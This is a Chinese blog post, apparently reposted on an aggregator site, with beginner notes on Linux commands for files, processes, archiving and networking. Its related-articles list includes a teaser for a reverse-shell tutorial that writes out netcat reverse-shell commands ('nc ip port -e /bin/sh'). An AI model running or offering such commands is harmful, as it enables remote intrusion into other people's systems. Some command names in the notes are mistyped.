Linux命令学习2

news2024/11/20 10:38:12

一.文件基础命令

1.alias-给某个命令取别名

使用方式:alias cl = 'ls -la'

说明:将ls -la命令取别名为cl,使用这种方式只是临时将命令取别名,重启中断后,就会失效。

问题1:如何永久性的设置命令的别名?

答:修改配置文件,每一次打开终端都会自动执行该文件,只需要在该文件的末尾加上这条命令即可每次打开终端就可以使用改命令别名。

使用VM打开配置文件:vim ~/.bashrc

常用命令:G光标到文本最后一行,gg光标到文本第一行,i进入文本编辑模式,0当前行首,$当前行末

在文件末尾加入:alias cl = 'ls -la'

退出VIM:esc  输入wq回车即可退出

因此我们想让系统启动就执行指定命令就可以把命令写入改文件

2.data-输出和设置时间

使用:输出时间:data

设置时间:sudo data -s "2077/12/1"

3.dpkg 软件包安装

使用:系统上必须有这个软件的安装包才可进行安装。后缀为.deb的文件

sudo dpkg -i 软件包名

4.echo回显

使用:echo "需要输出内容"

说明:将输入的字符串输出到终端。

5.sort对文件的内容进行排序

使用

直接输出排序后的内容:sort max.c

重定向输出:sort max.c > sort.txt

说明:将文本内容按照从到大的行排序,不改变文件本身

6.which用来查看命令所在位置

使用:which 要查看的命令

说明:很重要的命令无法查看,因为重要的命令是放在linux内核里而不是用户层。

7.|管道-用来链接两个命令

使用:命令1 | 命令2

说明:把命令1的输出作为命令2的输入

8.uniq去掉文件中的重复项然后输出

使用:uniq   文件名

说明:掉文件中的重复项然后输出

9.cat显示文件的内容

10.cp复制文件

11.diff检查文件是否相同

说明:该命令可以用来比较文件之间的异同,并生成差异性文件,同时作为补丁使用。

12.find寻找文件路径

13.file-查看文件格式信息

14.tail/head查看文件尾部和头部

15.wc计算文本字符数,单词数,行数

使用:wc 文件名

说明:输出:行数 单词数 字符数 文件名

二.进程管理命令

16.ps 获取挡墙进程信息

使用:ps

ps -ef

说明:UID用户名,PID进程号码,PPID父进程,TTY终端,STIME时间戳每个进程都有一个父进程,初始进程没有父进程

17.top动态进程信息

使用:top

说明:类似进程管理器

18.kill向某个进程发送信号

使用:kill -l:查看Linux信号

kill -1 进程号:给进程发送一个1号信号,杀掉进程,信号-1,-2基本都可以

killall -2 进程名:杀掉进程

kill -19 进程号:暂停该进程

kill -18 进程号:继续该进程

说明:给进程发送一个信号

三.压缩与解压

18.tar的基础选项

tar命令的归档文件

使用

tar -c:创建归档文件。

tar -x:释放归档文件

tar -t:查看归档文件(或者压缩文件)

tar -f:指定要归档、压缩或查看文件的名称

tar -v:显示命令执行过程

 -z:使用gzip压缩工具来压缩/解压

 -j:使用bzip2工具来压缩/解压

-J:解压xz格式文件

例如:tra -cf demo.tar 文件名1 文件名2 将文件1文件2归档在demo.tar里

例如:tra -tf 文件名

例如:tar -cvf tar.tar * // 把当前路径下的所有文件进行归档生成为 tar.tar的文件

查看归档文件: tar - tf tar . tar // 查看归档文件的内容
如何释放归档文件: 1 $ tar - xvf tar . tar - C abc
                                 2 // -C 是指定文件释放的路径
                                3 // abc 就是当前目录下的 abc 目录

tar命令压缩与解压文件

使用:将文件a,b,和目录dir/压缩到一个叫example.tar.gz的一个压缩包中: tar -czvf example.tar.gz a b dir/

xz 格式的压缩与解压

19.zip命令

zip命令并不是Ubuntu 自带的,它需要我们手动来安装
        sudo apt install zip

使用zip 命令进行压缩:

1 $ zip test . zip * // 压缩当前目录下的所有文件,不包含子目录内容
2 updating : Even / ( stored 0 % )
3 updating : a . out ( deflated 71 % )
4 updating : abc / ( stored 0 % )
5 updating : abc . tar . bz2 ( stored 0 % )
6 updating : arm - linux - gnu5 . 4.0 / ( stored 0 % )
7 updating : demo . c ( deflated 23 % )
8 updating : demo . tar . bz2 ( deflated 0 % )
9 updating : demo . tar . gz ( deflated 2 % )
10 updating : demo1 . c ( deflated 93 % )
11 updating : ls . txt ( deflated 72 % )
12 updating : main ( deflated 71 % )
13 updating : min . c ( deflated 28 % )
14 updating : tar . tar ( deflated 3 % )
15 updating : tardemo . tar ( deflated 84 % )
16 updating : 系统搭建 . pptx ( deflated 2 % )
1 $ zip test . zip * - r // 添加 -r 选项之后 zip 命令再压缩的时候会把子目录进行压缩
2 updating : Even / ( stored 0 % )
3 updating : a . out ( deflated 71 % )
4 updating : abc / ( stored 0 % )
5 updating : abc . tar . bz2 ( stored 0 % )
6 updating : arm - linux - gnu5 . 4.0 / ( stored 0 % )
7 updating : demo . c ( deflated 23 % )
8 updating : demo . tar . bz2 ( deflated 0 % )
9 updating : demo . tar . gz ( deflated 2 % )
10 updating : demo1 . c ( deflated 93 % )
11 updating : ls . txt ( deflated 72 % )
12 updating : main ( deflated 71 % )
13 updating : min . c ( deflated 28 % )
14 updating : tar . tar ( deflated 3 % )
15 updating : tardemo . tar ( deflated 84 % )
16 updating : 系统搭建 . pptx ( deflated 2 % )
17 adding : Even / max . c ( deflated 28 % )
18 adding : Even / sort . txt ( deflated 26 % ) 19 adding : abc / a . out ( deflated 71 % )
20 adding : abc / demo . c ( deflated 23 % )
21 adding : abc / demo1 . c ( deflated 93 % )
22 adding : abc / Even / ( stored 0 % )
23 adding : abc / Even / max . c ( deflated 28 % )
24 adding : abc / Even / sort . txt ( deflated 26 % )
25 adding : abc / ls . txt ( deflated 72 % )
26 adding : abc / main ( deflated 71 % )
27 adding : abc / min . c ( deflated 28 % )
28 adding : abc / tardemo . tar ( deflated 84 % )
29 adding : abc / 系统搭建 . pptx ( deflated 2 % )
30 adding : arm - linux - gnu5 . 4.0 / arm - linux - gnueabi - 5.4.0 . tar . xz ( deflated 0 % )
31 adding : arm - linux - gnu5 . 4.0 / 说明 . txt ( deflated 22 % )

如何解压:

unzip test . zip

注意:

文件的格式并不取决于文件名的后缀,后缀只是给我们看的。
归档:只是存粹的把文件整理到一起,并不设计压缩算法,因此文件的大小不会有改变
压缩:把归档后的文件通指定的算法进行压缩/解压,因此文件的大小得到压缩
-c
-x
-z
-J
-j
操作时间:
把以上的压缩与解压命令自行操作一下。

四.网络命令

4.1网络命令的使用

查看主机名

hostname 查看主机名 1 $ hostname
2 PC - 20210112 EPXS

查看当前网络配置状态

ifconfig 查看当前的网络配置状态
1 ifconfig 查看的网卡 eth0 --- ens33 为网卡的名字
etho是用来上网的网卡,其他的基本上是虚拟网卡

修改IP地址

1 $ ifconfig eth0 192.168.25.3 // 修改 eth0 的网卡
2 $ ifconfig ens33 192.168.25.3 // 修改 ens33 的网卡

开启或关闭网卡

1 ifconfig eth0 up // 启动 eth0 网卡
2 ifconfig eth0 down // 启动 eth0 网卡

ping 命令检查网络是否连接通常

使用ctrl+c可以使他暂停

说明:

ttl的值是服务器还能跳转的距离

如果像上图中显示有延迟值(time),则说明连接没有问题

4.2通过配置文件修改网络信息:

1. 先打开配置文件
1 $ sudo vim / etc / network / interfaces
2. 修改配置文件
3. 重启网络服务
1 sudo service networking force - reload
2 sudo service networking restar

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1866931.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

简过网:专科生可以考的编制岗位有哪些?这5个铁饭碗要抓住了!

专科生可以考的编制岗位有哪些?以下这几种可以考的,尤其是应届毕业生,一定要抓住机会哦! ​ 一、三支一扶:专科生可报考,期满可转编。 三支一扶:支农、支医生、支教、扶贫 工作时间一般为2年&…

车载双向认证框架设计

最近工作需要,手写了一个双向认证库,可以用在Java、Android上,不限于PC/手机、车载平台。首先我们来看看双向认证的原理机框架设计思路,最后会给出下载链接大家可以体验或者源码参考。 因为可以和FlexNet网络库(参考我…

实现高效写入:Schemaless 写入性能优化指南

物联网应用常常需要收集大量的数据,用以支持智能控制、业务分析和设备监控等功能。然而,应用逻辑的更新或硬件的调整可能会导致数据采集项频繁变化,这是时序数据库(Time Series Database,TSDB)面临的一大挑…

Mybatis-映射文件中select标签resultType属性的使用

数据库的最最基本操作“增删改查”,“查”是最复杂的,有各种各样的查询,所以对应到Mybatis中的select标签也是这四个操作中最复杂的 resultType属性的使用 1.返回的结果是List集合的类型 select标签里的resultType类型设置为List集合里的元…

CCAA:认证通用基础 7(认证的基本概念)

7认证的基本概念 7.1认证类型(产品认证、管理体系认证、服务认证)及基本特征 第一节 认证 1.认证的定义和本质 1.1认证的定义 (1)认证:与产品、过程、体系或人员有关的第三方证明。 ①”产品,过程,体系或人员”是认证的对象,认证是对“产…

Rust: duckdb和polars读csv文件比较

一、文件准备 样本内容,N行9列的csv标准格式,有字符串,有浮点数,有整型。 有两个csv文件,一个大约是2.1万行;一个是64万行。 二、toml文件 [package] name "my_duckdb" version "0.1.0&…

Linux文件IO深入剖析

目录 一、文件IO引发的项目血案 1、分析 一、Linux文件系统基本概念 1、文件系统接口 2、文件系统缓存 二、文件IO 访问方式概述 1、标准文件访问方式 2、直接IO 3、实现方式 4、缓存同步 5、Linux 文件IO流程图 6、血案解决 一、文件IO引发的项目血案 事件经过&am…

甲骨文(Oracle)云AI专家级证书免费获取攻略

这次分享的是甲骨文云(Oracle)2024年最新最热门的AI专家级证书,活动截止日期7/31。 考试为闭卷监考形式,但小李哥已经把题库准备好,分享给大家。 甲骨文Oracle☁️云计算凭借其Oracle原生产品(数据库、ERP等)在云计算市场中具有一定地位。目前…

Kafka入门-分区及压缩

一、生产者消息分区 Kafka的消息组织方式实际上是三级结构:主题-分区-消息。主题下的每条消息只会保存在某一个分区中,而不会在多个分区中被保存多份。 分区的作用就是提供负载均衡的能力,或者说对数据进行分区的主要原因,就是为…

【已解决】Pycharm:卡顿解决方案汇总

可能原因: 1、内存少 2、加载慢 3、文件多 4、硬件老 解决方案: 本机测试在 MAC,Windows、Linux也有相应的设置,请自行查询。 一、调整Pycharm使用内存 Help - Change Memory Settings 二、取消勾选 重复打开上次项目 Pych…

渗透测试之网络基础

文章目录 1. TCP/IP体系结构2. 什么是IP地址2.1 内网IP2.2 公网IP2.3 公网IP与内网IP的关系2.4 判断IP地址是公网或内网 3. 什么是TCP逻辑端口3.1 端口的定义3.2 查看开启的端口 4. HTTP超文本传输协议4.1 什么是HTTP4.2 HTTP协议特点4.3 请求消息——request4.4 HTTP的请求方式…

【研究】大模型应用场景分类与硬件升级

大模型应用#1:从Chatbot到AI Agent,个人助理重塑手机应用生态 AI大模型的能力进步推动Chatbot在C端广泛“出圈”。Chatbot(聊天机器人)通过自动化方式来处理和回复用户输入,可以模拟人类对话,通过文字或语…

软考系统架构师考试考点整理就看这一篇

软考系统架构师考试考点整理就看这一篇 最近软考成绩出来了不少同学与笔者沟通,聊到软考现在越来越难了,考了两三次都没过,也有不少新同学咨询软考考试的一些福利政策,投入大量的物力,财力,精力&#xff0c…

MySQL笔记——索引

索引 SQL性能分析使用原则SQL提示覆盖索引前缀索引单列索引和联合索引索引设计原则 学习黑马MySQL课程,记录笔记,用于复习。 查询建表语句: show create table account;以下为建表语句: CREATE TABLE account (id int NOT NULL …

反弹shell 纯干货版 --D--K--盾

本文主要讲解我已知的CTF中对VPS的利用的教程模块,所以本篇文章将会持续更新并且有改动 解密base64会解锁新大陆: REvnm77lrpjmlrnnvqTvvJo3MjcwNzcwNTU弹shell 弹shell有很多种类 NC nc ip port -e /bin/sh nc -e /bin/sh ip port //这种版…

从中序与后序遍历序列构造二叉树-二叉树题型

106. 从中序与后序遍历序列构造二叉树 - 力扣(LeetCode) right要再left前面 如下如,后序为第一行,最后一个是根; 中序为第二行,中间的为根; 通过后序的最后一个元素从中序中找到根&#xff0…

NodeJs 使用中间件实现日志生成功能

写在前面 今天我们实现一个记录 nodejs 服务请求日志的功能,大概的功能包括请求拦截,将请求的信息作为日志文件的内容写入到 txt 文件中,然后输出到指定的日志到当天日期目录中,从而实现后续查找用户请求信息的功能,下…

三级医院智慧医院信息化规划方案(65页PPT)

方案介绍: 该方案通过信息化手段实现医院信息化全覆盖,优化诊疗流程、提高诊疗效率和准确性;同时实现医疗资源的合理配置和共享,提升医疗服务质量。通过优化患者就医流程、提供便捷的服务和宣传健康知识等方式提高患者满意度。通…

SpringBoot优点达项目实战:获取系统配置接口(三)

SpringBoot优点达项目实战:获取系统配置接口(二) 文章目录 SpringBoot优点达项目实战:获取系统配置接口(二)1、查看接口2、查看数据库3、代码实现1、创建实体类SysConfig2、创建返回数据的vo3、创建control…

【Unity】RPG2D龙城纷争(六)关卡编辑器之角色编辑

更新日期:2024年6月26日。 项目源码:第五章发布(正式开始游戏逻辑的章节) 索引 简介一、角色编辑模式1.将字段限制为只读2.创建角色(刷角色)3.预览所有角色4.编辑选中角色属性5.移动角色位置6.移除角色 简介…